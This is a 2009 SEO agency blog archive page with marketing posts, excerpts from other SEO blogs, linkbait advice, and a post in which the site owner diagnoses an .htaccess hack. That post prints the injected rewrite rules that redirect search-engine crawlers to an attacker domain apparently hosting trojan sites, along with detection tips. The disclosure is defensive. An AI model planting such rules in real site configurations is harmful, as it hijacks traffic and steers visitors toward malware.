SEO | SimpleSEM

Search Engine Marketing Optimization – How Does It Work?

Posted on 26 March 2009 by Jeremy Hermanns

What is search engine marketing optimization? New site owners may want to take a deeper look into this question. The fact of the matter is that no site can expect to thrive without proper search engine optimization. Then again, this won’t make a lot of sense unless the idea behind an optimized site is understood. To break it down simply: a site that has been optimized is a site that can communicate with a search engine efficiently. Speaking “site language” is something that internet marketers do rather well, which is why this task is best left up to them.

Search engine marketing optimization is a field that requires a lot of research and skill. Since the internet is constantly changing, internet marketers must keep up to date with all of the latest marketing tools. This includes helping a site when it comes to search engine rankings, and it also includes maintain that top ranked spot. Only those marketing companies that can complete both tasks will benefit a site owner. In addition to these basic concepts, there is a lot more that goes into internet marketing.

SEO Services like SimpleSEM must use a large number of advertising and marketing tools in order to keep sites on the top of those search engine rankings. This is why search engine marketing optimization is so important. In order to gain any user attention, a site must be listed towards the top of a search engine page. This means that a lot of work must be done in order to maintain this top spot. Otherwise, potential clients aren’t likely to view a site at all. While some site owners attempt to market their own sites, this doesn’t always work due to industry tactics and methods that are lesser-known.

If you want to make sure that your site is ranked towards the top, look into search engine marketing optimization. A great marketing company can guarantee that your site will receive top placement, and they will also be able to keep your site on top for a long time to come. This is the only way that internet users will ever see your site, so it’s worth the initial marketing investment. It’s not easy setting up shop on the internet. With thousands of sites popping up all over the web every day, staying alive can become a difficult game. With the help of a proper internet marketing company, you can be sure that your site will attract new visitors for many years to come.

Combating SEO Implementation Paralysis | Search Engine Watch

Posted on 07 March 2009 by Jeremy Hermanns

By: Chris Boggs of SEW:

For several years, SEO consultants and agencies have faced one major challenge, beyond keeping up with ever-changing organic ranking algorithms: lack of implemented recommendations. What causes this “implementation paralysis”? The answer is typically grouped into three areas:

1. Technology barriers.
2. The approval process.
3. Ownership issues within the site’s organization.

Let’s look at some examples of each of these results-paralyzing factors, and some ways to avoid or mitigate them.

Search Engine Rankings – Ways to Achieve Higher Rankings

Posted on 06 March 2009 by Jeremy Hermanns

Everyone knows that great search engine rankings are a crucial part of generating online traffic. Anyone who has anything to do with online marketing to Web design has heard of search engine optimization and the great results it can provide businesses. There are many factors that search engines take into consideration when they formulate their results. This can make it difficult for many businesses because they don’t know on which factors they should focus. They end up spending a small amount of time on each factor, which decreases the effect of them. There are a few factors that businesses should focus more time working on to achieve greater results.

One of the most important factors in achieving high search engine rankings is the title tag. If this is too long, it can confuse the system and hurt the rankings. The best way to attain high rankings is by having a short, relevant title tag that has keywords in it. The majority of people who use search engines do so with specific keywords in mind. If a business isn’t using the best keywords for their service, it decreases the odds of people finding their site. Another factor companies should use to optimize their rankings is the META description. It is there to describe the site, so companies should take advantage of that by using keywords throughout the description.

Another factor in optimizing a Web site’s search engine rankings is through the number of pages a site has. Search engines typically rank sites with more pages higher. Part of the reason this is the case is because of linking. The more pages a site has, the more opportunity it has to build internal links, which search engines rank highly. A relatively new way for sites to get better rankings is by having different types of media in their site. Having interesting and relevant pictures and videos can help draw a larger audience to a site. For this to work, though, the media must be relevant to the site.

These aren’t the only ways to achieve high search engine rankings. There are far too many to list. These few are a good start for any Web site looking to improve the rankings. By spending more time and attention on a few can make increasing rankings easier. The few focused on will be done better instead of haphazardly working on every factor you can think of. Doing every factor doesn’t guarantee better results because the factors most likely are done poorly.

Contact SimpleSEM to improve your Search Engine Ranking Today!

SEO: A Process NOT a Project | SEJ

Posted on 23 February 2009 by Jeremy Hermanns

By: Steve Plunkett

Steve wrote a fantastic article about the cumulative and ongoing process that SEO is!!! Check it out below (then go to Search Engine Journal and read it all!):

Organic search engine optimization (SEO) is not a one time project, it’s a process. Similar to a garden, you must tend to it. Sometimes you have an existing garden where the weeds have grown over or nothing is growing. Sometimes you just have a section of yard you are going to rope off, till, then plant stuff in. Like a garden, organic SEO takes time and attention. It may be as simple as setting a timer to water or as complex as starting from scratch. Organic SEO is like a garden – if you don’t water it, it dies.

Soil Considerations

What is the history of the things that have been done to your website for SEO purposes?

Do you have pages chock full of links to websites unrelated to your company, where some of the website no longer exist or even some link to an “adult” website? Did someone hide a bunch of keywords the same color as your background at the bottom of the page? Maybe the site you are going to work on has commented out a bunch of keywords in the HTML code? (I know this is 2009, but some company, somewhere, has this on its Web site, right now.)

Sunlight, Rainfall and Other Factors

Traffic Analysis – Are there metrics on the company’s website? What kind of information can you gather from the statistics on what is going on with keywords, referrers, exit pages, entry pages, bounce rate, etc.? What metrics program does your company use?

We always ask our clients to install the website analytics program we use -

Hitslink – simply because it provides the measurements we need for our clients and also allows for consistent report formats for all clients.

What Plants shall we put in our garden?

Keyword Research – Gather the keywords out of the client’s current website metrics and obtain client input on what they think someone might type to search for them.

We usually use a method that I have used for many, many years. We ask the CEO, (get’s them involved at the top), the receptionist, the sales managers, the marketing director, the CFO and the COO (these two help get things done and also make sure you get paid) to provide five to 10 keywords each and not to share them with each other. This becomes statistically significant when you have different people come up with a keyword phrase more than once. Take these and put them into spreadsheets so we know what department wants what traffic and also to refer to later.

This is the primary keyword stage. You can also correlate what keyword terms got the most traffic and the lowest bounce rate to their Web site compared to what the client expects. Now obviously, you must factor in the fact that if the content doesn’t exist on their Web site right now, they won’t be found for it.

What kind of pesticides would be best to use to combat bugs?

Read the Entire Post: SEO – a Process NOT a Project at Search Engine Journal Now!

Where did my PageRank Go? Overview of the “Bablo. me. uk” ht.access Hack

Posted on 22 February 2009 by Jeremy Hermanns

Very recently, I noticed a the PR of this very site was dropping with little to no reason. We DON’T condone any Black Hat techniques, we use no paid linking to promote the site, and we have a very good domain history. But, still our PR was precipitously dropping with no reason. I started to dig into this last night and found out we had our ht.access file hacked!

There was a suspicious redirect we could diagnose in Google Webmaster Tools – that alerted us to the problem:

The malicious 301 code that was inserted in our ht.access is below:

RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://bablo .me .uk/ [R=301,L]

I decided to follow the redirects and find out where they lead to. What I found was a server hosting hundreds of sites optimized for trojan virus downloads.

Here are a few things that Webmasters and site owners shuld be on the lookout for with this hack/exploit:

– PHP-driven site. (Especially Joomla, Drupal or WP CMS’s)
– Problems with having web site properly indexed by Google.
– Some pages don’t get indexed, some pages disappear from the index.
– When checking web pages in Unmask Parasites, there is a chain of two 301 redirects reported and the first redirect points to “http://bablo .me .uk/”.

I recommend using some tool that shows HTTP headers and allows to change User-Agent string. For instance, web-sniffer with the Googlebot user agent. If the site is compromised, you’ll see the following lines in the response headers:

HTTP/1.1 301 Moved Permanently
Location: http://bablo .me .uk/

Please be careful out there – this was a huge hit to our traffic and business – but with simple and careful diagnosis this issue was fixed and we can move on to grow our business PR properly again!

LinkBait Launch Cycle | SEO Book.com

Posted on 09 February 2009 by Jeremy Hermanns

Launch Your Linkbait Right - and Reel in the Cash! Most people don’t care about you. You could have just written the greatest article on SEO. You might be giving away a killer new tool. For free. And what happens?

Nothing.

Unfortunately, people are just too busy. Everybody is competing for attention, and sometimes it’s just easier for others to Twitter about something, than to write a blog post and link to you. That’s if they even bother to do that much!

Here’s are a few ideas on how to get around this problem, and get noticed.

1. If It’s Free, Make It Look Like It Isn’t

People often value things based on the price they pay for it. So if you aren’t charging for something, some people will assume it is worthless.

Dress the product up as though you are charging for it. That is, create a brand, make the graphics and site layout look good. Try to create a perception of value by using the same tools as if you were selling a product.

2. Don’t Publish Your Article/Idea As A Blog Post

Blog posts are perceived as low value.

Create a dedicated branded site, or dedicated branded page for your product, service or idea. By all means create a blog post to link to your branded site or page, but try to make the presentation of your idea different that what you normally do.

For example, Aaron recently released the SEO Toolbar. This toolbar is free, but Aaron treated it the same as if he was charging for it. It has it’s own dedicated page and dedicated brand.

3. Brand It

People take brands seriously. And they remember them. What is more memorable – a regular blog post in which you bestow awards, or a branded SEO awards site.

If you create a logo, people may use the logo when talking about you. This helps spread your idea, and your identity. $100 spent on a logo is nothing if it helps get you a few high profile links.

4. Save The Advertising For Later

Do you link to pages with Adsense all over them?

If a page is plastered with ads, it can look low value, and people may be reluctant to link to it. The exception is if you have already established a high level of trust with your audience. Even so, it’s probably better to strip out the ads, at least initially, as your primary aim is to get attention and links.

You can always put the ads back in later.

5. Establish Social Proof Of Value

You need to prepare your market.

A few weeks or months out, start approaching people in your niche. Try to get the attention of people who have influence in the space. Comment on their blogs. Get your name known. Then, when it comes to your launch, you’re already a familiar name.

Once you’ve launched, ask for feed-back, and be sure to quote any mentions you’ve had in the press. If people see that big name sites they are already familiar with have covered your stuff, they are more likely to be receptive to your ideas.

6. Learn PR

PR emails can be tedious, but they can work if done well.

Send out some well-targeted, personalized emails to a hand-picked group of industry commentators. Try to offer them something for covering you i.e. offer them a free service, or product, or links, etc. Many people will just be happy to spread the word if you’re offering something truly unique and interesting.

7. Be Everywhere

Try to get seen in as many channels as possible.

Vertical search provides a number of opportunities if you can repeat your idea in different mediums. For example, you could create a video and put it on YouTube. Release your post as an audio track, or a presentation.

Twitter your stuff and remind people to check out your blog post. On your blog post, incorporate buttons that enable people to bookmark your page, or vote it up on Digg, or other aggregation services.
Video Presentation

Aaron covers these topics, and more, in the LinkBait Launch Sequence presentation.

LinkBait Launch Cycle : SEO Book.com

5 Tips to Make the Most of Your SEO Investment | Online Marketing Blog

Posted on 12 January 2009 by Jeremy Hermanns

5 Tips to Make the Most of Your SEO Investment | Online Marketing Blog
Whether you’re a marketer at a large Fortune 500 company or a small business, search engine optimization (SEO) can be one of the most cost-effective tools for reaching a broader audience and increasing online sales. A solid and persistent search engine optimization program can increase search visibility for many types of content affecting the bottom line: sales, customer service, recruiting, public and investor relations.

These are challenging economic times calling for prudent marketing decisions. Search industry, business and analyst publications agree: search marketing is recission proof, or at least recession resistant. To make sure your SEO program investment yields effective and efficient marketing results, keep the following tips in mind:

* Planning: A solid plan of action is a necessary component to any successful SEO program. Before beginning an effort to optimize content for better search visibility, be sure you have clarified specific goals and expectations. This will help you to decide which SEO tactics will be most effective, what internal resources will be necessary and what metrics will be used to measure success.
* Resources: Assess your resources to ensure you can actually implement your SEO program. The most common reason for an unsuccessful SEO effort is failure of implementation. Take stock of available budget (yours or another department that will be affected) talent pool and any existing media assets that can be leveraged. You will need to determine if you have the resources to complete your ideal SEO plan on your own, or if you will need to enlist the services of a SEO agency (like TopRank.
* Measurement: Organize a process to measure the results of your program. You will want to be able to tie your measurements of success directly back to your SEO tactics. If increasing leads was the initial goal for your program, this may mean using an analytics package to determine the origin of your online leads. If you choose to work with an agency, be sure to select one with a strong record of measurable SEO success.
* Promotion: A well-optimized website will increase your search engine rankings and help your target audience find your services over that of competitors. However, a solid SEO program does not end there. Make the most of search engine optimization by promoting useful content. Place your URL on your business card, in your email signature, and promote it online beyond the search engines in social networks, blogs, forums and anywhere that it can be useful. It will be passed along and linked to, sending traffic and further increasing search visibility.
* Innovation: Don’t rely on what has always worked, or assume that your initial optimization will last forever. The online world is constantly changing, and this extends to optimization best practices. A solid SEO program is an ongoing investment that requires you to adapt and innovate to ensure your website stays at the top of the rankings and top of mind with your consumers.

With a solid search engine optimization plan, the right resources, measurements of success, promotion, and innovation, companies large and small can not only weather the current economic challenges, but achieve new growth and revenue goals.

Article Written by: Ashley @ Top Rank Blog

« Older Entries

Search Engine Marketing Optimization – How Does It Work?

Combating SEO Implementation Paralysis | Search Engine Watch

Search Engine Rankings – Ways to Achieve Higher Rankings

SEO: A Process NOT a Project | SEJ

Where did my PageRank Go? Overview of the “Bablo. me. uk” ht.access Hack

5 Tips to Make the Most of Your SEO Investment | Online Marketing Blog

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